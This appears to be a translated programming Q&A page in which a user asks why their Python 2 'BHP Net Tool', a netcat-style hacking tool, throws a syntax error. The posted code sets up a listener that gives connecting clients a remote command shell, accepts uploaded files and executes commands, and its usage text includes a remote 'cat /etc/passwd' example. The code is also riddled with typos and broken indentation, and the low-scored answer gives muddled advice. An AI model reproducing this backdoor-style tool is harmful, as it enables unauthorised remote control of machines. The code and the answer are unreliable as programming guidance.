Python代码中的语法无效

时间:2016-08-18 02:14:35

标签: python sockets

当我在Python命令提示符下运行命令时,我尝试运行时遇到无效语法错误:-t localhost -p 9999,我的Python IDE版本为2.7.12。

这是我的代码:

import socket
import threading
import sys
import getopt
import subprocess

listen             = False
command            = False
upload             = False
execute            = ""
target             = ""
upload_destination = ""
port               = 0

def usage():
    print ("BHP Net Tool")
    print
    print ("USAGE: bhpnet.py -t target_host -p port")
    print ("-l --listen              - listen on [host]:[port] for incoming connections")
    print ("-e --execute=file_to_run - execute the given file upon receiving a connection")
    print ("-c --command             - initialize a command shell")
    print ("-u --upload=destination  - upon recieving connection upload a file and write to [destination]")
    print
    print
    print ("Examples: ")
    print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -c")
    print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -u=c:\\target.exe")
    print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -e=\"cat /etc/passwd\"")
    print ("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")
    sys.exit(0)

def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    try:
        opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",      ["help","listen","execute","target","port","command","upload"])
    except getopt.GetoptError as err:
        print str(err)
        usage()

    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l","--listen"):
            listen = True    
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload:"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False, "Unhandled Option"

if not listen and len(target) and port > 0:

    buffer = sys.stfin.read()

    client_sender(buffer)

if listen:
    server_loop()

def client_sender(buffer):

    client = socket.socket(socket.AF_INET, socket.SOCK_STEAM)

    try:
        client.connect((target,port))

        if len(buffer):
            client.send(buffer)

        while True:
            recv_len = 1
            response = ""

            while recv_len:

                data     = client.recv(4096)
                recv_len = len(data)
                response+= data

                if recv_len < 4096:
                    break

            print response,

            buffer = raw_input("")
            buffer += "\n"

            client.send(buffer)

    except:

            print "[*] Exception! Exciting!."

            client.close()

def server_loop():
    global target

    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCL_STEAM)
    server.bind((target,port))
    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()

def run_command(command):

    command = command.rstrip()

    try:
            output = subprocess.check_output(command,stderr=subprocess. STDOUT, shell=True)
    except:
            output = "Failed to execute command.\r\n"

    return output

def client_handler(client_socket):
    global upload
    global execute
    global command

    if len(upload_destination):

            file_buffer = ""
    while True:
        data = client_socket.recv(1024)

        if not data:
            break
        else:
            file_buffer += data

    try:
        file_descriptor = open(upload_destination,"wb")
        file_descriptor.write(file_buffer)
        file_descriptor.close()

        client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
    except:
        client_socket.send("Failed to save file to %s\r\n" % upload_destination)

if len(execute):

        output = run_command(execute)

        client_socket.send(output)

if command:

        while True:
            client_socket.send("<BHP:#> ")

            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)

            response = run_command(cmd_buffer)

            client_socket.send(response)

main()

1 个答案:

答案 0 :(得分:-1)

print ("BHP Net Tool")
print
print ("USAGE: bhpnet.py -t target_host -p port")
print ("-l --listen              - listen on [host]:[port] for incoming connections")
print ("-e --execute=file_to_run - execute the given file upon receiving a connection")
print ("-c --command             - initialize a command shell")
print ("-u --upload=destination  - upon recieving connection upload a file and write to [destination]")
print
print
print ("Examples: ")
print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -c")
print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -u=c:\\target.exe")
print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -e=\"cat /etc/passwd\"")
print ("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")

尝试删除print语句之间的空格,如果您使用的是python 2.7旧版本,则不需要在print语句周围使用括号。 也     打印(“ BHP Net Tool”)     打印 在第二个语句中,为什么它为空,必须在下一行之间插入“ \ n”之类的内容。

 try:
    opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",      ["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
    print str(err)
    usage()

在此代码段中, 对于Python 2.6和更高版本以及Python 3.x:

except Exception as e: print(e)

对于Python 2.5及更早版本,请使用:

except Exception,e: print str(e)

所以您应该更改它。